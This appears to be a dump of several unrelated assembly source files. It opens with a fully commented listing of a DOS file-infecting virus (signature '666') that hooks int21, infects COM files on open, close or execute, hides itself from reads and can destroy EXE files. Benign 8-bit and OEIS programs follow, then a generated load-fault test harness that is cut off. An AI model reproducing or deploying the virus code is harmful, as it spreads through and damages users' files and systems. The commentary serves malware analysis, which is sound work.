DOS==3.30 mov si,7B4h ; Load offset of original int13 jae newdos ; If 3.30+ -> Proceed mov si,10A5h ; Load offset of original int13 cmp al,10 ; Check for 3.10 je newdos ; If so -> proceed mov si,1EC9h ; Load offset of original int13 for other DOS's newdos: mov ds,cx ; This may cause trouble, because CX ; is NOT allways set to ZERO mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area movsw ; Save oroginal int13 vector movsw ; to unused area in PSP mov si,84h ; DS:SI point to 0000:0084 - int21 vector movsw ; Save current int21 vector movsw ; to unused area in PSP lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21 push es ; Save ES push di ; Save DI mov si,8 ; DS:SI point in current int21 handler; mov ch,1 ; CX=100h - As I said CX is not allways set to 0 repz cmpsw ; Check if virus v512 hold the int21 vector push cs ; pop ds ; Set DS to PSP jz SkipInstall ; If virus is active -> SkipInstall mov ah,52h int 21h ; Get DOS table of table address push es ; Save segment of table mov si,00F8h ; DS:SI point virus WITH data area in PSP sub di,di ; This will be offset in DOS buffer les ax,dword ptr es:[bx+12h] ; Load address of first ; DOS buffer from table of tables ; This is the reason why virus ; will NOT work on DOS 4.X+ mov dx,es:[di+02] ; Load in DX segment of next DOS buffer mov cx,0104h ; CX set to virus size (208h bytes) repz movsw ; Move itself in DOS buffer mov ds,cx ; Now CX is 0 so DS also become 0 mov di,0016h ; This will be used for finding parent PSP mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset mov [di+70h],es ; Set new int21 segment pop ds ; Restore segment of table in DS mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain mov dx,cs ; DX is current PSP segment mov ds,dx ; DS also mov bx,[di-14h] ; Load LAST segment available dec bh ; LastSegment-=0x0100 mov es,bx ; ES point in transit COMMAND.COM area cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP mov ds,[di] ; Load in DS segment of parent of COMMAND mov dx,[di] ; Load in DX parent of parent of COMMAND dec dx ; Decrement loaded segment mov ds,dx ; Set DS to rezult mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command mov dx,di ; Save DI in DX mov cl,28h ; Will move 80 bytes repz movsw ; Do moving mov ds,bx ; Set DS to transit COMMAND.COM segment jb RunProcess ; If current process is less than parent ; then COMMAND strat in progress -> read original bytes int 20h ; Else stop. File will run from decond start ; If this instruction will be replaced by ; PUSH CS; POP DS file will run from first time SkipInstall: mov si,cx ; Set SI to 0 mov ds,[si+02Ch] ; Load in DS segment of envirement SearchAgain: lodsw ; Load word from envirement dec si ; Decrement envirement pointer test ax,ax ; Test for zero in AX jnz SearchAgain ; If not zero -> SearchAgain add si,3 ; Else SI+=3; Now DS:SI point to filename in env mov dx,si ; DS:DX point to filename for open RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode call CallDosGet ; Call int21 & get handle table address in DS:DI mov dx,[di] ; Load file size in DX mov [di+04],dx ; Set file pointer to end of file add [di],cx ; Increase file size with 512 bytes pop dx ; Restore file entry point (100h) to DX ; This used for reading original bytes ; of file at normal place push dx ; Save entry point again push cs ; Set ES point to virus segment pop es ; push cs ; Set DS point to virus segment pop ds ; push ds ; Save PSP segment mov al,50h ; Push 50h. On stack is far address PSP:0050 ; This are INT 21; RETF instructions push ax ; Update returning address mov ah,03Fh ; Set AH=3F - read file retf ; Far return; Read original file ; and return control to it CallDosGet: int 21h ; Open file; Open procedure will go trough virus jc ErrorOpen ; If error occur -> Skip open mov bx,ax ; Move file pointer in BX ; This could be XCHG AX,BX; that save 1 byte GetHandleAddr: push bx ; Save file handle in stack mov ax,1220h ; Get handle's table number int 02Fh ; Via int 2F (undocumented) mov bl,es:[di] ; Load table number in BL mov ax,1216h ; Get handle table ADDRESS (ES:DI) int 02Fh ; Via int 2F (undocumented) pop bx ; Restore file handle from stack push es ; Set DS to point table's segment pop ds ; add di,11h ; DI will point file's size entry intable mov cx,0200h ; CX set to virus size ErrorOpen: ret ReadClean: sti ; Disable external interrupts request push es ; Save important registers to stack push si push di push bp push ds ; Data buffer segment push cx ; Bytes to read call GetHandleAddr ; Get file handle's table address in DS:DI mov bp,cx ; Save virus size in BP mov si,[di+04] ; Save in SI current file pointer pop cx ; Restore bytes to be readed in CX pop ds ; Restore buffer segment call ReadOriginal ; Open file with original int21 jc SkipClean ; If error while read -> skip cleaning cmp si,bp ; Check if file pointer was in virus jnb SkipClean ; If no -> nothing to clean push ax ; Save readed bytes mov al,es:[di-04] ; Load AL with file time not al ; and al,01Fh ; Mask seconds of file time jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do add si,es:[di] ; Add to current pointer file size ; Now SI point to requested offset, ; BUT in original file bytes xchg si,es:[di+04] ; Set new file pointer and save old file pointer add es:[di],bp ; Increase file size with virus size call ReadOriginal ; Open file via original int21 mov es:[di+04],si ; Restor file pointer lahf ; ??? I don't know. If you do let me know sub es:[di],bp ; Decrease file size with virus size sahf ; ??? I don't know. If you do let me know SkipCleanPop: pop ax ; Restore readed bytes SkipClean: pop bp ; Restore saved imortant register pop di pop si pop es db 0CAh, 2, 0 ; RETF 2 ReadOriginal: mov ah,03Fh CallDOS: pushf push cs call JumpDOS ret ; Following few bytes are int21 handler. They check if file is open close or ; executed and clean or infect file with virus. Here there is serious problem - ; from time to time virus infect file which is NOT COM file (EXE file will be ; destroyed, by the way). ; More about this later in comments int21: cmp ah,03Fh ; If function is Read file jz ReadClean ; then go and read original bytes push ds ; Save important registers push es push ax push bx push cx push dx push si push di cmp ah,03Eh ; If function is Close file jz CloseInfect ; then Close and Infect cmp ax,04B00h ; If execute file mov ah,03Dh ; then open file before execute ; After opening file will be closed ; and .... Infected jz Infect ; TerminateInt: pop di ; Restore important registers pop si pop dx pop cx pop bx pop ax pop es pop ds JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21 CloseInfect: mov ah,45h Infect: call CallDosGet ; Duplicate file handler jc TerminateInt ; If error -> terminate sub ax,ax ; Set AX to 0 mov [di+04],ax ; Set file pointer to 0 mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write cld mov ds,ax ; Set DS point to interrupt table mov si,004Ch ; SI point to int13 offset lodsw ; Load int13 offset push ax ; and save it in stack lodsw ; Load int13 segment push ax ; and save it in stack push [si+40h] ; Save int24 offset push [si+42h] ; Save int24 segment lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13 mov ax,2513h ; and set it via DOS function SetVector int 21h ; push cs ; Set DS point to virus segment pop ds ; mov dx,offset int24+8 ; Load in DX offset of int24 handler mov al,24h ; Set int24 vector int 21h ; via DOS function SetVector push es ; Set DS point to handle table segment pop ds ; mov al,[di-04] ; Load AL with file time ; As I said in some case virus will infect non-COM file. This may happend ; if file you work with has time set to 62 seconds. In this case virus infect ; file without checking filename. This WILL damage EXE file. DOS will treat ; this files as COM files, but usualy their size is bigger than 64K, so DOS ; cannot run it. If file is less than 64K then virus run and read original ; bytes. Usualy he DO read them, then skip control to these bytes. In EXE ; files this is EXEheader, so execution FAIL (your system CRASH) and al,01Fh ; Mask seconds cmp al,01Fh ; Check if seconds == 31 (62sec) jz NoNameCheck ; If so -> infect with no name check mov ax,[di+17h] ; Load AX with first 2 letters of file extension sub ax,04F43h ; If file is NOT *.CO? jnz SkipInfect ; SkipInfect NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec) mov ax,[di] ; Set AX to file size cmp ax,cx ; Check file size and virus size jb SkipInfect ; If file is less than 512 bytes -> Don't infect add ax,cx ; Increase file size with virus size jc SkipInfect ; If file is bigger than (65535-512) -> no infect test byte ptr [di-0Dh],04 ; Check file attribute jnz SkipInfect ; If SYSTEM file -> don't infect it lds si,dword ptr [di-0Ah] ; Load DS:SI with device header dec ax ; AX (file size with virus) -- shr ah,1 ; AX/=2 and ah,[si+04] ; Check if enough place in cluster behind file jz SkipInfect ; If no place -> terminate infection mov ax,0020h ; DS = 20 (Second part of int table) mov ds,ax ; sub dx,dx ; DS:DX point to virus transfer buffer call ReadOriginal ; Open file with original int21 mov si,dx ; Save virus buffer offset in SI push cx ; Save virus size LoopCheck: lodsb cmp al,cs:[si+07] ; Compare readed data with virus code jnz WriteFile ; If at least ONE byte different -> fuck file loop LoopCheck ; Check all virus code with buffer pop cx ; Restore virus size SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word ; In case of file this is flag area. Setting bit 14 ; as virus does, mean for DOS "Don't set file date/time when close" ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0) ; then DOS will set current time to file. Virus should avoid this, or ; DOS will overwrite seconds field and they (seconds) will be normal SkipInfect: mov ah,03Eh ; Close file call CallDOS ; via original int21 or byte ptr es:[di-0Ch],40h ; Set flag... See above pop ds ; Restore original int24 pop dx mov ax,2524h ; via SetVector int 21h pop ds ; Restore original int13 pop dx mov al,13h ; via SetVector int 21h jmp TerminateInt ; All done, jump to DOS WriteFile: pop cx ; Restore virus size to CX mov si,es:[di] ; Save current file size in SI mov es:[di+04],si ; Move file pointer at the end of file mov ah,40h ; Write to file its first 512 bytes at the end int 21h jc NoUpdateTime ; If error occur file time will be normal mov es:[di],si ; Set file size to be as before (file size ; will remain unchanged) mov es:[di+04],dx ; Set file pointer to beginning of file push cs ; Set DS:DX point to virus pop ds ; mov dl,08 ; Skip first 8 bytes of virus, because they ; are a buffer for int handlers adresses mov ah,40h ; Write virus at the beginning of file int 21h ; jmp SetFileTime ; File now OK infected, so his time must be ; set to 62 sec int24: iret ; int 24 handler. Avoid "Write protected error..." db '666' ; Virus signature 
38.949555
80
0.662807
ceb22baa421221b4377c9a783700e119d7a5d2fd
2,909
asm
Assembly
src/video/dma_test.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
3
2021-04-23T20:37:58.000Z
2022-02-09T00:12:04.000Z
src/video/dma_test.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
11
2021-04-04T18:43:57.000Z
2022-02-08T23:33:13.000Z
src/video/dma_test.asm
fourstix/Elfos-utils
7155f57192205a4446ad3f73093ae16c4e41e173
[ "MIT" ]
null
null
null
; ------------------------------------------------------------------- ; DMA Video Test ; Based on Tom Pittman's original Video DMA Program ; Published in A Short Course in Computer Programming by Tom Pittman ; Copyright 1979 Netronics Research & Development Ltd. ; ; Modified to run under the Elf/OS with Pico/Elf Pixie Video ; Copyright 2021 by Gaston Williams ; ------------------------------------------------------------------- ; *** Based on Elf/OS software written by Michael H Riley ; *** Thanks to the author for making this code available. ; *** Original author copyright notice: ; ******************************************************************* ; *** This software is copyright 2004 by Michael H Riley *** ; *** You have permission to use, modify, copy, and distribute *** ; *** this software so long as this copyright notice is retained. *** ; *** This software may not be used in commercial applications *** ; *** without express written permission from the author. *** ; ******************************************************************* #include ops.inc #include bios.inc #include kernel.inc ; ************************************************************ ; This block generates the Execution header for a stand-alone ; program. It begins 6 bytes before the program start. ; ************************************************************ org 02000h-6 ; Header starts at 01ffah dw 2000h dw endrom-2000h dw 2000h org 2000h ; Program code starts at 2000 br start ; ************************************************** ; *** Build information: *** ; ************************************************** date: db 80h+9 ; Month db 23 ; Day dw 2021 ; Year build: dw 5 db 'Copyright 2021 Gaston Williams',0 ; stack pointer r2 is already set by OS start: ldi 023H ; value for x=2; p=3 str r2 ; save for disable Int instruction dis ; Keep x=2; p=3 and disable interrupts ghi r3 ; P = 3 phi r0 ; set up DMA pointer ldi 080H ; point to video Data glo r0 ; set up DMA pointer Video: inp 1 ; turn video on ;------------ DMA occurs here ------------ loop: ldi 080H ; fix r0 plo r0 bn4 loop ; continue until input pressed ; Leave interrupts disabled out 1 ; turn off Video lbr o_wrmboot ; return to Elf/OS org 2080H ; data for video dma buffer: db 080H, 081H, 082H, 083H, 084H, 085H, 086H, 087H db 088H, 089H, 08AH, 08BH, 08CH, 08DH, 08EH, 08FH ;------ define end of execution block endrom: equ $ ; End of code
36.822785
70
0.469233
5c07b38e1e52427ab7b5d1b7be8d462d23f15e1a
709
asm
Assembly
oeis/166/A166629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/166/A166629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/166/A166629.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A166629: Totally multiplicative sequence with a(p) = 8p for prime p. ; 1,16,24,256,40,384,56,4096,576,640,88,6144,104,896,960,65536,136,9216,152,10240,1344,1408,184,98304,1600,1664,13824,14336,232,15360,248,1048576,2112,2176,2240,147456,296,2432,2496,163840,328,21504,344,22528,23040,2944,376,1572864,3136,25600,3264,26624,424,221184,3520,229376,3648,3712,472,245760,488,3968,32256,16777216,4160,33792,536,34816,4416,35840,568,2359296,584,4736,38400,38912,4928,39936,632,2621440,331776,5248,664,344064,5440,5504,5568,360448,712,368640,5824,47104,5952,6016,6080,25165824 add $0,1 mov $1,$0 lpb $0 sub $0,1 seq $0,32742 ; a(1) = 1; for n > 1, a(n) = largest proper divisor of n. mul $1,8 lpe mov $0,$1
59.083333
500
0.747532
8ca42478b85dd5100c153221199ef601eff7c15c
3,526
asm
Assembly
code/6502/tests/tms/tms9918nes.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
65
2021-07-22T10:32:02.000Z
2022-03-30T04:42:45.000Z
code/6502/tests/tms/tms9918nes.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
5
2022-03-29T20:23:57.000Z
2022-03-30T23:12:42.000Z
code/6502/tests/tms/tms9918nes.asm
visrealm/hbc-56
9c082946e247e79edc12867299b5b0fda3b6c873
[ "MIT" ]
4
2021-12-30T17:13:23.000Z
2022-03-05T09:07:22.000Z
; Troy's HBC-56 - TMS9918/NES test ; ; Copyright (c) 2021 Troy Schrapel ; ; This code is licensed under the MIT license ; ; https://github.com/visrealm/hbc-56 ; !src "hbc56kernel.inc" XPOS = $44 YPOS = $45 hbc56Meta: +setHbcMetaTitle "TMS9918 NES TEST" +setHbcMetaNES rts BUFFER_ADDR = $1000 sprite1: !byte %00001000 !byte %00000100 !byte %00001111 !byte %00011011 !byte %00111111 !byte %00101111 !byte %00101000 !byte %00000110 sprite2: !byte %00100000 !byte %01000000 !byte %11100000 !byte %10110000 !byte %11111000 !byte %11101000 !byte %00101000 !byte %11000000 XPOS = $44 YPOS = $45 XPOS1 = $46 YPOS1 = $47 hbc56Main: lda #0 sei jsr tmsModeGraphicsI jsr tmsInitTextTable ; clear the name table +tmsEnableOutput +tmsPrint "TROY'S HBC-56 BASIC READY", 1, 15 +tmsPrint ">10 PRINT \"HELLO WORLD!\"", 0, 17 +tmsPrint ">RUN", 0, 18 +tmsPrint "HELLO WORLD!", 1, 19 +tmsPrint "** DONE **", 1, 21 +tmsPrint ">", 0, 23 +tmsPrint 127, 1, 23 lda #40 sta XPOS sta YPOS lda #80 sta XPOS1 sta YPOS1 +tmsCreateSpritePattern 0, sprite1 +tmsCreateSpritePattern 1, sprite2 +tmsCreateSprite 0, 0, 40, 40, TMS_MAGENTA +tmsCreateSprite 1, 1, 56, 40, TMS_MAGENTA +tmsCreateSprite 2, 0, 80, 80, TMS_MED_RED +tmsCreateSprite 3, 1, 96, 80, TMS_MED_RED +tmsEnableInterrupts cli loop: sei jsr outputSeconds ldx XPOS ldy YPOS +tmsSpritePosXYReg 0 txa clc adc #16 tax +tmsSpritePosXYReg 1 ldx XPOS1 ldy YPOS1 +tmsSpritePosXYReg 2 txa clc adc #16 tax +tmsSpritePosXYReg 3 cli ldy #8 jsr customDelay jmp loop COLOR = $89 IMG = $8a LAST_SECONDS_L = $8b outputSeconds: +tmsSetPosWrite 8, 1 +nes1BranchIfNotPressed NES_LEFT, + +tmsPut 'L' dec XPOS + +nes1BranchIfNotPressed NES_RIGHT, + +tmsPut 'R' inc XPOS + +nes1BranchIfNotPressed NES_UP, + +tmsPut 'U' dec YPOS + +nes1BranchIfNotPressed NES_DOWN, + +tmsPut 'D' inc YPOS + +nes1BranchIfNotPressed NES_SELECT, + +tmsPut 'S' +tmsPut 'e' dec YPOS1 + +nes1BranchIfNotPressed NES_START, + +tmsPut 'S' +tmsPut 't' inc YPOS1 + +nes1BranchIfNotPressed NES_B, + +tmsPut 'B' dec XPOS1 + +nes1BranchIfNotPressed NES_A, + +tmsPut 'A' inc XPOS1 + +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' +tmsPut ' ' ; flashing cursor lda #(TMS_FPS / 2) cmp HBC56_TICKS bcc + +tmsPrint ' ', 1, 23 jmp ++ + +tmsPrint 127, 1, 23 ++ lda HBC56_SECONDS_L cmp LAST_SECONDS_L beq .endOutput sta LAST_SECONDS_L ; output seconds (as hex) +tmsSetPosWrite 1, 1 lda HBC56_SECONDS_L jsr tmsHex8 ; calls cli .endOutput rts medDelay: jsr delay jsr delay jsr delay jsr delay delay: ldx #255 ldy #255 - dex bne - ldx #255 dey bne - rts customDelay: ldx #255 - dex bne - ldx #255 dey bne - rts
16.174312
53
0.541407
e7e0b4c6302c2f4122368e7e5d0fe61abb7e3514
723
asm
Assembly
libsrc/z80_crt0s/crt0_long/l_long_asro.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/z80_crt0s/crt0_long/l_long_asro.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/z80_crt0s/crt0_long/l_long_asro.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; ; Z88 Small C+ Run Time Library ; Long support functions ; ; djm 25/2/99 ; Rewritten for size and speed (untested, but should be OK) ; ; djm 7/6/99 ; The optimizer version! Entered with long in dehl and counter in c ; ; aralbrec 01/2007 ; Sped up, would be better with counter in a or b XLIB l_long_asro ; Shift primary (on stack) right by secondary, ; We can only shift a maximum of 32 bits (or so), so the counter can ; go in c .l_long_asro ld a,c or a ret z ld b,a ld a,e ; primary = dahl .loop sra d rra rr h rr l djnz loop ld e,a ret
18.538462
73
0.529737
0460b6813cb9979523cb7d639dc8780bd55f4ed0
182
asm
Assembly
ffight/lcs/1p/3C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/1p/3C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/1p/3C.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 007596 move.b ($2d,A1), ($16,A3) [1p+3C] 00A2C6 dbra D0, $a2c0 copyright zengfr site:http://github.com/zengfr/romhack
26
54
0.708791
ea26b6016c257a6f8874f3e5811d3060734bfc51
2,244
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_26_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_26_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_26_38.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %rbp push %rsi lea addresses_normal_ht+0x65bb, %r10 xor %rsi, %rsi movl $0x61626364, (%r10) nop nop add %rbp, %rbp pop %rsi pop %rbp pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %r9 push %rax push %rbx // Load lea addresses_UC+0xe4d7, %rax nop nop and %r13, %r13 mov (%rax), %r11w dec %r11 // Store mov $0x8d7, %r8 nop cmp %r9, %r9 movb $0x51, (%r8) nop nop nop nop xor %r9, %r9 // Store lea addresses_WT+0x32b7, %r8 nop nop nop nop nop sub $43542, %rbx mov $0x5152535455565758, %r9 movq %r9, (%r8) nop nop cmp $32493, %r11 // Store lea addresses_normal+0xcb1f, %r15 nop nop add %rax, %rax movb $0x51, (%r15) nop inc %r8 // Store lea addresses_A+0x16357, %r13 nop nop nop nop nop and $5933, %r15 movl $0x51525354, (%r13) nop nop nop dec %r11 // Faulty Load lea addresses_D+0x134d7, %r9 nop nop nop xor $18026, %r15 mov (%r9), %r11w lea oracles, %r8 and $0xff, %r11 shlq $12, %r11 mov (%r8,%r11,1), %r11 pop %rbx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'36': 26} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
18.545455
128
0.63369
0bd320ecd85c98e233cbc7ed940511e1eaf10214
724
asm
Assembly
programs/oeis/126/A126587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/126/A126587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/126/A126587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A126587: a(n) is the number of integer lattice points inside the right triangle with legs 3n and 4n (and hypotenuse 5n). ; 3,17,43,81,131,193,267,353,451,561,683,817,963,1121,1291,1473,1667,1873,2091,2321,2563,2817,3083,3361,3651,3953,4267,4593,4931,5281,5643,6017,6403,6801,7211,7633,8067,8513,8971,9441,9923,10417,10923,11441,11971,12513,13067,13633,14211,14801,15403,16017,16643,17281,17931,18593,19267,19953,20651,21361,22083,22817,23563,24321,25091,25873,26667,27473,28291,29121,29963,30817,31683,32561,33451,34353,35267,36193,37131,38081,39043,40017,41003,42001,43011,44033,45067,46113,47171,48241,49323,50417,51523,52641,53771,54913,56067,57233,58411,59601 mov $1,6 mul $1,$0 add $1,8 mul $1,$0 add $1,3 mov $0,$1
72.4
542
0.780387
88eab82af146a6989c614eb398539812e7e36e12
9,395
asm
Assembly
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xca_notsx.log_21829_423.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xca_notsx.log_21829_423.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_ht_zr_un_/i9-9900K_12_0xca_notsx.log_21829_423.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x19283, %rax clflush (%rax) nop nop nop nop nop lfence mov (%rax), %bp nop add %rdi, %rdi lea addresses_D_ht+0x1e5f3, %r12 nop cmp $44590, %rcx movb $0x61, (%r12) add %rdi, %rdi lea addresses_WC_ht+0x1dac3, %rsi lea addresses_WT_ht+0x1a6e3, %rdi clflush (%rsi) nop nop nop nop nop sub $5589, %r12 mov $71, %rcx rep movsq nop nop sub %rdi, %rdi lea addresses_D_ht+0x3503, %rcx nop nop xor %r13, %r13 movups (%rcx), %xmm5 vpextrq $0, %xmm5, %rdi nop nop nop sub %r13, %r13 lea addresses_D_ht+0x1c283, %rcx nop nop nop nop nop add %rbp, %rbp movb $0x61, (%rcx) dec %rcx lea addresses_UC_ht+0x11583, %rsi lea addresses_normal_ht+0x13f95, %rdi nop xor $6952, %rbp mov $45, %rcx rep movsw nop nop sub $6005, %rbp lea addresses_UC_ht+0xe0d3, %rsi lea addresses_A_ht+0x963, %rdi nop nop nop nop sub $38297, %rax mov $78, %rcx rep movsq nop xor $64861, %rax lea addresses_UC_ht+0x16103, %r12 nop cmp $16402, %r14 mov $0x6162636465666768, %rax movq %rax, (%r12) nop nop sub $4, %rsi lea addresses_WC_ht+0x2d83, %rbp nop nop xor $5212, %r13 movl $0x61626364, (%rbp) nop and $41169, %rcx lea addresses_A_ht+0x7ed3, %rcx nop nop nop dec %rdi mov $0x6162636465666768, %r14 movq %r14, (%rcx) nop sub %rcx, %rcx lea addresses_WT_ht+0x9d03, %rdi nop nop nop nop xor $38637, %r13 vmovups (%rdi), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbp nop nop add $64918, %rsi lea addresses_A_ht+0x36c3, %rsi lea addresses_WT_ht+0x10683, %rdi nop nop cmp %r14, %r14 mov $54, %rcx rep movsw nop nop nop and %rsi, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rax push %rcx push %rdi push %rsi // Store lea addresses_A+0xa744, %rdi clflush (%rdi) nop nop nop nop add %rcx, %rcx mov $0x5152535455565758, %r12 movq %r12, %xmm7 movups %xmm7, (%rdi) nop nop nop dec %rax // Store lea addresses_D+0xa4e3, %rax nop and $33614, %rsi movw $0x5152, (%rax) nop nop cmp $59875, %rcx // Store mov $0xe83, %rsi clflush (%rsi) nop nop nop and $50830, %r12 movb $0x51, (%rsi) nop nop nop nop nop cmp %r8, %r8 // Store lea addresses_US+0x1ec83, %rcx nop nop nop xor $48527, %r15 mov $0x5152535455565758, %r8 movq %r8, %xmm2 movups %xmm2, (%rcx) nop nop nop nop nop cmp %rax, %rax // Store lea addresses_UC+0x1b6df, %r8 nop inc %r15 mov $0x5152535455565758, %rsi movq %rsi, (%r8) nop nop nop nop nop xor $4840, %r12 // Store lea addresses_WC+0x1fda3, %rdi nop nop nop nop nop and $25123, %rcx movl $0x51525354, (%rdi) nop nop xor $54829, %r15 // Store mov $0x66c52600000001d3, %r8 nop nop nop sub $57903, %r12 movl $0x51525354, (%r8) // Exception!!! mov (0), %rax add $43057, %r12 // Store mov $0x7609c40000000c85, %rax clflush (%rax) nop inc %r15 mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovups %ymm3, (%rax) nop nop nop nop nop cmp $56384, %rcx // Store lea addresses_D+0x1080b, %rdi nop nop sub %rax, %rax movb $0x51, (%rdi) nop nop nop nop xor %r8, %r8 // Faulty Load mov $0x66854c0000000e83, %r12 nop nop nop nop dec %rsi movups (%r12), %xmm2 vpextrq $1, %xmm2, %rdi lea oracles, %r12 and $0xff, %rdi shlq $12, %rdi mov (%r12,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 